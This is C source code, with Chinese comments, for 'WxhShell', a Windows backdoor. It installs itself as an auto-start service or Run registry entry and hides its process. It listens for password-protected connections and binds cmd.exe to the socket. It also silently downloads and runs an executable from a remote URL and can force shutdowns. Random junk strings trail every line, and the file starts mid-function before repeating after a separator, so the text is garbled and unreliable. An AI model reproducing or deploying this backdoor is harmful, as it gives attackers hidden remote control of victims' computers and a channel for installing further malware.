    break; !4cY^4>o  
    } ^[r1Dk  
  // 关机 ;gZ/i93:Q  
  case 'd': { gC7Po  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,~&HL7 v  
    if(Boot(SHUTDOWN)) UgK c2~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2IE\O 8b  
    else { YvcV801Go  
    closesocket(wsh); 4xq|  
    ExitThread(0); 0M roHFh9`  
    } uoOUgNwGg  
    break; ^e <E/j{~  
    } Vs{\ YfF  
  // 获取shell m2"e ]I  
  case 's': { [>r0 (x&.  
    CmdShell(wsh); :b(W&iBWhI  
    closesocket(wsh); 5-$D<}Z  
    ExitThread(0); b=1E87i@W  
    break; \lm]G7h  
  } @tY]=pqn_  
  // 退出 L'S,=NYXY  
  case 'x': { )qw;KG0F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); })P!7t  
    CloseIt(wsh); )gSqO{Z  
    break; F[$cE  
    } Osm))Ua(  
  // 离开 Eyjsbj8  
  case 'q': { nDX Em6|e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9]w?mHslE  
    closesocket(wsh); NU?<bIQ  
    WSACleanup(); p%&$%yz$  
    exit(1); {+7FBdxVB  
    break; }.&;NgZS  
        } 6 iMJ0  
  } M-@X&b m,S  
  } N) _24  
7L6L{~8 W  
  // 提示信息 A"&<$5Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CxjB9#  
} Xpn\TD<_I  
  } [2Zy~`*y{  
0QW=2rs  
  return; M /v@C*c  
} !rr,(!Ip?O  
hL6;n*S=  
// shell模块句柄 ~gff{Nzk  
int CmdShell(SOCKET sock) o h\$u5  
{ %+Ze$c}X  
STARTUPINFO si; Tn1V+)  
ZeroMemory(&si,sizeof(si)); }.E^_`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,0,FzxX0!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dH;2OWM  
PROCESS_INFORMATION ProcessInfo; =WW5H\?  
char cmdline[]="cmd"; $.,B2}'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hEu_mw#  
  return 0; 0V>Ho H   
} SU4i'o  
]#^v754X^T  
// 自身启动模式 ]S[/ a  
int StartFromService(void) < A8>To<  
{ gee~>l  
typedef struct :,aY|2si  
{ Sk>=C0f:  
  DWORD ExitStatus; !pw )sO~  
  DWORD PebBaseAddress; t~j 6wsx;  
  DWORD AffinityMask; \q1tT!]  
  DWORD BasePriority; <MkvlLu((o  
  ULONG UniqueProcessId; ~Ay)kv;  
  ULONG InheritedFromUniqueProcessId; HrvyI)4{  
}   PROCESS_BASIC_INFORMATION; WIf.;B)L  
EG3,TuDH8  
PROCNTQSIP NtQueryInformationProcess; <6Gs0\JB  
>h;]rMD!|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :tU^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4k@n5JNa  
> d p/  
  HANDLE             hProcess; reh{jMC  
  PROCESS_BASIC_INFORMATION pbi; Dk^AnMx%_  
0Q&(j7`^@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r5S/lp+Y+N  
  if(NULL == hInst ) return 0; `HQ)][  
4BCe;Q^6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^gvTc+|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zU ~ Ff"<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rx2'].  
Uc {m##!  
  if (!NtQueryInformationProcess) return 0; 8R3{YJ6@T  
\Dq'~ d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rN} 8~j  
  if(!hProcess) return 0; KoNu{TJ  
2wY|E<E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,.QJ S6Yv  
8.B'O>\T  
  CloseHandle(hProcess); }^Q:Q\  
Mt-r`W3 q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1l#46?]~  
if(hProcess==NULL) return 0; 8A3/@Z;0S  
#\lvzMjCC  
HMODULE hMod; F5 ]<=i  
char procName[255]; j9[I6ko5'  
unsigned long cbNeeded; $YEm(:v$  
J@I>m N1\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F&czD;F  
:IS?si5|  
  CloseHandle(hProcess); p  lnH  
-t|/g5.w_  
if(strstr(procName,"services")) return 1; // 以服务启动 0d_)C>gcF  
l5Bm.H_  
  return 0; // 注册表启动 PO"lY'W.U  
} 'l.tV7  
)dhR&@r*w  
// 主模块 9hIKx:XCg  
int StartWxhshell(LPSTR lpCmdLine) Ldz]FB|  
{ WDIin6u-  
  SOCKET wsl; *{w0=J[15  
BOOL val=TRUE; Deh3Dtg/k  
  int port=0; fYk>LW  
  struct sockaddr_in door; W7!gD  
'37 {$VHw  
  if(wscfg.ws_autoins) Install(); /#Aw7F$Ey  
~T RC-H  
port=atoi(lpCmdLine); /\/^= j  
|?^<=%  
if(port<=0) port=wscfg.ws_port; /Pg)7Zn  
r/!,((Z\  
  WSADATA data; R}0gIp=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R|\eBnfI  
hD ~/ywS&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d,(y$V+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CwX?%$S   
  door.sin_family = AF_INET; M co:eE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;pW8a?  
  door.sin_port = htons(port); M[mYG _{J  
|"SZpx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +QFKaS<sn  
closesocket(wsl); KNAvLcg  
return 1; dRron_'  
} Jj \ nye+  
Ea@0>_U|  
  if(listen(wsl,2) == INVALID_SOCKET) { _  Lh0  
closesocket(wsl); _C/|<Ot:  
return 1; M?h{'$T  
} G7 UUx+X  
  Wxhshell(wsl); 8IlUbj  
  WSACleanup(); $?PI>9g!  
?l9sj]^w  
return 0; jV sH  
]AY 4bm  
} Ww-x+U\l  
..8t1+S6]  
// 以NT服务方式启动 k2D*`\ D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tw$EwNI[  
{ J=3{<Xl  
DWORD   status = 0; 4P3RRS  
  DWORD   specificError = 0xfffffff; _s^tL2Pc  
h.vy SwF"j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uy<3B>3~.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; utZI'5i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;-u]@35  
  serviceStatus.dwWin32ExitCode     = 0; Mgw#4LU  
  serviceStatus.dwServiceSpecificExitCode = 0; 1 7~Pc  
  serviceStatus.dwCheckPoint       = 0; ,zoHmV1Wd+  
  serviceStatus.dwWaitHint       = 0; 2X2Ax~d@  
F|F0#HC ?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]20:8l'  
  if (hServiceStatusHandle==0) return;  BjH|E@z  
aH6j,R%  
status = GetLastError(); fS4foMI63)  
  if (status!=NO_ERROR) }h;Z_XF&  
{ -NwG' U~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {A0F/#M]  
    serviceStatus.dwCheckPoint       = 0; 6)^*DJy  
    serviceStatus.dwWaitHint       = 0; \XB,)XDB  
    serviceStatus.dwWin32ExitCode     = status; swj\X ,{  
    serviceStatus.dwServiceSpecificExitCode = specificError; m=6?%' H}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oT{9P?K8  
    return; u* pQVU  
  } jv~#'=T'  
F `:Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bra2xHK@  
  serviceStatus.dwCheckPoint       = 0; wMCMrv:  
  serviceStatus.dwWaitHint       = 0; t`JT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @:zC!dR)G  
} s1_Y~<y X  
P}Ig6^[m\  
// 处理NT服务事件,比如:启动、停止 F\JS?zt2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %DiQTg7V,  
{ i 7]o[  
switch(fdwControl) AJ/Hw>>$?m  
{ w@-G_-6W  
case SERVICE_CONTROL_STOP: @JlT*:Dz  
  serviceStatus.dwWin32ExitCode = 0; )isS^O$qH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M]5l-i$  
  serviceStatus.dwCheckPoint   = 0; oi0O4J%H  
  serviceStatus.dwWaitHint     = 0; U=D;Cj Ah  
  { B@-\.m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k$%{w\?Jf  
  } [1(eSH  
  return; ti+e U$  
case SERVICE_CONTROL_PAUSE: }` 3-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \5}PF+)|  
  break; ;b [>{Q;  
case SERVICE_CONTROL_CONTINUE: =r/K#hOR\J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6E) T;R(@  
  break; ^IiA(?8  
case SERVICE_CONTROL_INTERROGATE: w]MI3_|'r(  
  break; ODu/B'*  
}; `S((F|Ty=;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l)$mpMgAD  
} [Z/P[370  
h's[) t  
// 标准应用程序主函数 xCL)<8[R,}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @] .s^ss9_  
{ b$H bo;_   
KN_n:`cH{  
// 获取操作系统版本 g=D]=&H  
OsIsNt=GetOsVer(); k`>qb8,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R,D/:k'~k  
'~ b  
  // 从命令行安装 -aJ(-Np$f  
  if(strpbrk(lpCmdLine,"iI")) Install(); 49E| f ^q  
{@KLN<  
  // 下载执行文件 ruagJS)+  
if(wscfg.ws_downexe) { kVtP~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &H# l*  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~W>{Dd(J_  
} ~*EipxhstJ  
yzfiH4  
if(!OsIsNt) { %u%;L+0Q[  
// 如果时win9x,隐藏进程并且设置为注册表启动 ypM,i  
HideProc(); 6 T4"m  
StartWxhshell(lpCmdLine); 9Y2u/|!.3  
} ; ]% fFcy  
else 9*iVv)jd  
  if(StartFromService()) 1N _"Mm{  
  // 以服务方式启动 .n IGs'P  
  StartServiceCtrlDispatcher(DispatchTable); Q']'KU.  
else E7h@c>IK  
  // 普通方式启动 0*:n<T9  
  StartWxhshell(lpCmdLine); h(q4 B~  
lg-`zV3  
return 0; (1S9+H>g  
} =4q5KI  
L`M{bRl+1  
!(bYh`Uy  
W9gQho%9b  
=========================================== ;Uch  
C,;<SV2#  
 @B{  
fPN/Mxu  
r|Uz?  
J-=fy^S5  
" :D}?H@(69  
mKM[[l&A  
#include <stdio.h> 5Qg*j/z?  
#include <string.h> n S$4[!0  
#include <windows.h> TS=%iMa  
#include <winsock2.h> >*/ |t L  
#include <winsvc.h> f(}&8~&  
#include <urlmon.h> \W_ Dz*N  
++w{)Io Z  
#pragma comment (lib, "Ws2_32.lib")  `&a8Wv  
#pragma comment (lib, "urlmon.lib") aU +uPP  
\zVp8MMf  
#define MAX_USER   100 // 最大客户端连接数 LU*mR{B  
#define BUF_SOCK   200 // sock buffer MeV4s%*O+  
#define KEY_BUFF   255 // 输入 buffer i{:?Iw 'ay  
^38k xwh  
#define REBOOT     0   // 重启 9&kY>M>z0  
#define SHUTDOWN   1   // 关机 :1'1 n  
n>^9+Rx|i  
#define DEF_PORT   5000 // 监听端口 r_ 9"^Er  
zGO_S\  
#define REG_LEN     16   // 注册表键长度 ;,/G*`81B  
#define SVC_LEN     80   // NT服务名长度 5-a^Frmg#"  
p^{yA"MQ  
// 从dll定义API f3,Xb ]h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k"dE?v\cG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iw(`7(*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \8Ewl|"N:u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V'.gE6we  
HU +271A8  
// wxhshell配置信息 z xv y&  
struct WSCFG { k?pNmKVJM  
  int ws_port;         // 监听端口 "}uu-5]3  
  char ws_passstr[REG_LEN]; // 口令 T?n[1%K  
  int ws_autoins;       // 安装标记, 1=yes 0=no P'5Lu  
  char ws_regname[REG_LEN]; // 注册表键名 C>l (4*S  
  char ws_svcname[REG_LEN]; // 服务名 7}=MVp] )S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /$8& r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UQ e1rf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GYT0zMMf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,+Ya'4x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;rh =63g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i+-=I+L3  
qk&BCkPT  
}; " H=fWz5z  
VF-[O  
// default Wxhshell configuration ojWf]$^y}  
struct WSCFG wscfg={DEF_PORT, l9 rN!Q|  
    "xuhuanlingzhe", >Y3zO2Cr  
    1, Pw Amnk !  
    "Wxhshell", a<pEVV\NB~  
    "Wxhshell", A[88IMZs  
            "WxhShell Service", GO#eI]>/r  
    "Wrsky Windows CmdShell Service", w `M/0.)V  
    "Please Input Your Password: ", ,;= S\  
  1, iQh:y:Jo1&  
  "http://www.wrsky.com/wxhshell.exe", p{V(! v|  
  "Wxhshell.exe" sYTToanA$?  
    }; R'1"`@f G  
^> d"D  
// 消息定义模块 Zg])uM]\2i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3v~}hV/RUy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dI,H:g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G~lnX^46"  
char *msg_ws_ext="\n\rExit."; Fw#wVs)@:  
char *msg_ws_end="\n\rQuit."; xNVSWi,  
char *msg_ws_boot="\n\rReboot..."; n<[H!4  
char *msg_ws_poff="\n\rShutdown..."; 2Q/V D,yU  
char *msg_ws_down="\n\rSave to "; ciPaCrV  
KC\W6|NtGj  
char *msg_ws_err="\n\rErr!"; T6,6lll  
char *msg_ws_ok="\n\rOK!"; 2IDn4<`  
6`'KM/   
char ExeFile[MAX_PATH]; kdm@1x  
int nUser = 0; 7sJGB^vM  
HANDLE handles[MAX_USER]; #4sSt-s&  
int OsIsNt; ^[ >  
0?g&<q  
SERVICE_STATUS       serviceStatus; ~;uW) [  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T 6rjtq  
49#?I:l  
// 函数声明 X0m6<q  
int Install(void); wB*}XJah  
int Uninstall(void); P6ugbq[x#e  
int DownloadFile(char *sURL, SOCKET wsh); IC.R4-  
int Boot(int flag); 6}mSA@4&  
void HideProc(void); 6<Zk%[7t  
int GetOsVer(void); L: _pJP  
int Wxhshell(SOCKET wsl); H,1I z@W1  
void TalkWithClient(void *cs); #fe zUU  
int CmdShell(SOCKET sock); 52Q~` t7F  
int StartFromService(void); Fo| rRI2  
int StartWxhshell(LPSTR lpCmdLine); dC}4Er  
w >#.id[k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |fWR[\NU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^#j{9FpPs  
ViG-tb   
// 数据结构和表定义 gG6BEsGa,  
SERVICE_TABLE_ENTRY DispatchTable[] = BG@[m  
{  -Ly A  
{wscfg.ws_svcname, NTServiceMain}, EG!):P  
{NULL, NULL} 771r(X?Fa  
}; `>$l2,  
`l}r&z(8  
// 自我安装 ML_[Z_Q<z  
int Install(void) Bdf]?s[]  
{ o,y {fv:ki  
  char svExeFile[MAX_PATH]; /\uW[mt  
  HKEY key; |Q~5TL>b  
  strcpy(svExeFile,ExeFile); :sb+jk  
"C%* 'k  
// 如果是win9x系统,修改注册表设为自启动 ^cYt4NHXn  
if(!OsIsNt) { PxZMH=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q-S5("  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /T/7O  
  RegCloseKey(key); t.m C q 4{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <3aW3i/jTc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X1~ B  
  RegCloseKey(key); !p"Ijz5  
  return 0; {nmBIk2v  
    } x\XOtjJr  
  } lF1ieg"i M  
} 0f|nI8,z  
else { V\><6v  
$t$YdleIH  
// 如果是NT以上系统,安装为系统服务 bG9$&,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `BZX\LPHm  
if (schSCManager!=0) 8:(e~? f6  
{ oQ8If$a}  
  SC_HANDLE schService = CreateService * d[sja+  
  ( RjCEo4b-.H  
  schSCManager, 79(Px2H2  
  wscfg.ws_svcname, f<~S0[H  
  wscfg.ws_svcdisp, }>u<,  
  SERVICE_ALL_ACCESS, ~C2[5r{So  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -7l)mk  
  SERVICE_AUTO_START, ZvO,1B  
  SERVICE_ERROR_NORMAL, 3sq(FsT  
  svExeFile, J#& C&S 2  
  NULL, p^QB^HEV  
  NULL, IGtqY8  
  NULL, o8lwwM*  
  NULL, -nrfu)G  
  NULL v/lQ5R1  
  ); B&)o:P7h  
  if (schService!=0) 27KfT] =  
  { a7Rg!%r  
  CloseServiceHandle(schService); UKxeN[fv  
  CloseServiceHandle(schSCManager); >T~d uwS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b:}+l;e5 2  
  strcat(svExeFile,wscfg.ws_svcname); \a\ApD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JmK[7t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BPzlt  
  RegCloseKey(key); -%x9^oQwY  
  return 0; 14v,z;HXj  
    }  =:-x;  
  } (*2kM|  
  CloseServiceHandle(schSCManager); bfjtNF*^  
} *z A1NH5  
} UA}oOteG  
-=D6[DjU<  
return 1; v'zf*]9  
} 5 5T c  
c,I|O' &k  
// 自我卸载 h .$3 jNU  
int Uninstall(void) C6C7*ks  
{  Z,osdF  
  HKEY key; |YAnd=$  
^g56:j~?  
if(!OsIsNt) { 77I D 82  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4h[^!up.7  
  RegDeleteValue(key,wscfg.ws_regname); e:  
  RegCloseKey(key); &<sN( ;%0R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q@lJ|  
  RegDeleteValue(key,wscfg.ws_regname); 7 n=fB#!*3  
  RegCloseKey(key); ( nH3  
  return 0; M _z-~G  
  } `o~9a N  
} m mj6YQ0a  
} isP4*g&%x  
else { IuQY~!  
SrVJ Q~ :>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jreY'y:  
if (schSCManager!=0) e/<Og\}P/  
{ ~^Y(f'{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U\A*${  
  if (schService!=0) -IB~lw  
  { $fE$j {  
  if(DeleteService(schService)!=0) { 'nM)=  
  CloseServiceHandle(schService); M/,jHG8v  
  CloseServiceHandle(schSCManager); &<P!o_+eb  
  return 0; ?*Kewj  
  } 0#mu[O  
  CloseServiceHandle(schService); yU(k;A-  
  } i }5 #n  
  CloseServiceHandle(schSCManager); e_BOzN~c  
} >#RXYDd  
} [yF4_UoF  
e ga< {t  
return 1; :hp=>^$Y  
} sGCV um}  
WBA0! g98  
// 从指定url下载文件 F:CqB|  
int DownloadFile(char *sURL, SOCKET wsh) In)#`E` g.  
{ P==rY5+s`  
  HRESULT hr; gn? ~y`  
char seps[]= "/"; UEJX0=  
char *token; }>w;(R  
char *file;  0FHX  
char myURL[MAX_PATH]; ba3_5 5]  
char myFILE[MAX_PATH]; ;!k1LfN  
*p.P/w@1  
strcpy(myURL,sURL); $siiG|)C1  
  token=strtok(myURL,seps); B=/*8,u  
  while(token!=NULL) he/UvMu  
  { .s_wP  
    file=token; ~T')s-,l,:  
  token=strtok(NULL,seps); 5 s>$  
  } sY t8NsQ  
3H%oTgWk  
GetCurrentDirectory(MAX_PATH,myFILE); > @ulvHL  
strcat(myFILE, "\\"); P(W7,GD,k  
strcat(myFILE, file); uE>2 *u\  
  send(wsh,myFILE,strlen(myFILE),0); xOjCF&W  
send(wsh,"...",3,0); =J,aBp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cvbv\G'aT  
  if(hr==S_OK) $b#"Rv  
return 0; h!f7/) |[o  
else /._wXH  
return 1; ~<pGiW'w5  
1X/ q7lR  
} {O6f1LuH  
oU m"qt_  
// 系统电源模块 Rp)82- .  
int Boot(int flag) m&OzT~?_>N  
{ IN!m  
  HANDLE hToken; M[0@3"}}  
  TOKEN_PRIVILEGES tkp; EM*YN=So  
Ftm%@S?  
  if(OsIsNt) { YXJjqH3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ' hL\xf{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v!ULErs  
    tkp.PrivilegeCount = 1; gJ>?<F;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O1@xF9<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X+{4,?04+  
if(flag==REBOOT) { cT8jG ,+"}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =F ZvtcCa  
  return 0; R tn.cSd  
} /r|^Dc Nx  
else { 6tM CpSJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z-b^{uP  
  return 0; K ^1bR(a  
} _EOQ*K#=Ct  
  } 9q;\;-  
  else { #zXkg[J6d  
if(flag==REBOOT) { vcAs!ls+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k@AOE0m  
  return 0; R\+p`n$  
} I`2hxLwh+  
else { 8 @!/%"Kt2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b:>(U.   
  return 0; z@$7T: H>  
} O'" &9  
} |-I[{"6q$@  
Y*0%l q({H  
return 1; B5!$5 Qc  
} {3C~cK{  
bzmT.!  
// win9x进程隐藏模块 Fy<dk}@  
void HideProc(void) k oC2bX  
{ )k3zOKZ;  
K!k,]90Ko  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JcZs\ fl9  
  if ( hKernel != NULL ) ?G1-X~Z8  
  { w/N.#s^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G;FY2;adK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q?&vV`PG5  
    FreeLibrary(hKernel); Tm@mk  
  } (eN\s98)/  
0,nDyTS^  
return; ]xA;*b;| h  
} 5>q|c`&}E  
7[:9vY  
// 获取操作系统版本 DPi%[CRH  
int GetOsVer(void) 1Af~6jz  
{ |qJQWmJO&U  
  OSVERSIONINFO winfo; T?)?"b\qz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :=^JHE{  
  GetVersionEx(&winfo); vj^vzFbK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;&P%A<[`  
  return 1; JMw1qPJQ  
  else r<Ll>R  
  return 0; xe|o( !(  
} N/Z3 EF_  
A--Hg-N|  
// 客户端句柄模块 YQiTx)_  
int Wxhshell(SOCKET wsl) 9~<HTH  
{ d> `9!)  
  SOCKET wsh; ?I`']|I  
  struct sockaddr_in client; kh 1 7  
  DWORD myID; _{KQQ5k\  
v'S}&zmF]  
  while(nUser<MAX_USER) >tqLwC."'  
{ Tv3Bej  
  int nSize=sizeof(client); F>)u<f,C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 93[c^sc9*a  
  if(wsh==INVALID_SOCKET) return 1; v$w!hYsQ  
?Il$f_"B:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]6p?mBuQ  
if(handles[nUser]==0) kp[+Iun?  
  closesocket(wsh); G#8HY VF  
else qn6Y(@<[  
  nUser++; f$NudG!S  
  } D(s[=$zua  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ! 9k)hP  
P6zy<w  
  return 0; WL7R.!P  
} 6?Rm>+2>v  
'u{m37ZJ  
// 关闭 socket t*< .^+Vd  
void CloseIt(SOCKET wsh) *n N;!*J  
{ oJUVW"X6  
closesocket(wsh); "44VvpQC  
nUser--; 0ho+Y@8  
ExitThread(0); pRD8/7@(B{  
}  "C B*  
@/ wJW``;  
// 客户端请求句柄 ( N~[sf?&  
void TalkWithClient(void *cs) +y>D3I  
{ eR D?O  
A /,7%bB1  
  SOCKET wsh=(SOCKET)cs; wZ,9~P 7  
  char pwd[SVC_LEN]; ^vLHs=<  
  char cmd[KEY_BUFF]; q[nX<tO  
char chr[1]; ]ZelB,7q  
int i,j; _0 USe  
(01M0b#  
  while (nUser < MAX_USER) { ce/Rzid  
bPAp0}{Fu  
if(wscfg.ws_passstr) { :O{`!&[>L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *{P"u(K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -wy$ ?Ha  
  //ZeroMemory(pwd,KEY_BUFF); k+{ -iPm{  
      i=0; >o>r@;  
  while(i<SVC_LEN) { 4WG~7eIgy  
gd R wh  
  // 设置超时 ^TJn&k  
  fd_set FdRead; YW}q@AY7  
  struct timeval TimeOut; (!&cfabL  
  FD_ZERO(&FdRead); t]#y} V  
  FD_SET(wsh,&FdRead); h-=3 b  
  TimeOut.tv_sec=8; =da_zy  
  TimeOut.tv_usec=0; WQ<J<$$uu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); { ,/mQ3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3 ~0Z.!O  
a=&a)FR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j` 9pZAF  
  pwd=chr[0]; QDRSQ[\  
  if(chr[0]==0xd || chr[0]==0xa) { ^!L'Ao y;E  
  pwd=0; Ka&[ Oz<w  
  break; )d bi  
  } W^i ct,t  
  i++; nKp='>Th  
    } Vz!W(+  
xI55pj*  
  // 如果是非法用户,关闭 socket  H`G[QC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DF-`nD  
} SG2s!Ht  
~EG`[cv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {O*WLZ{0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "GEJ9_a[  
M%7{g"J*  
while(1) { 9Ruj_U  
;"hED:z6%  
  ZeroMemory(cmd,KEY_BUFF); J4#t1P@Na  
X#j-Ld{j  
      // 自动支持客户端 telnet标准   )d!,,o  
  j=0; 6e(|t2^  
  while(j<KEY_BUFF) { w?d~c*4+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QM=M<~<Voh  
  cmd[j]=chr[0]; dq28Y$9~  
  if(chr[0]==0xa || chr[0]==0xd) { {1;j1|CI  
  cmd[j]=0; .i>; ?(GH  
  break; dkt'~  
  } Mf Dna>,Y  
  j++; w,cfSF;=tC  
    } 3,+)3,N  
E% t_17,=j  
  // 下载文件 im_WTZz2P  
  if(strstr(cmd,"http://")) { MU4/arXy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (|I:d!>:U  
  if(DownloadFile(cmd,wsh)) "ys#%,Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xi^3o  
  else 7"Sw))H|  
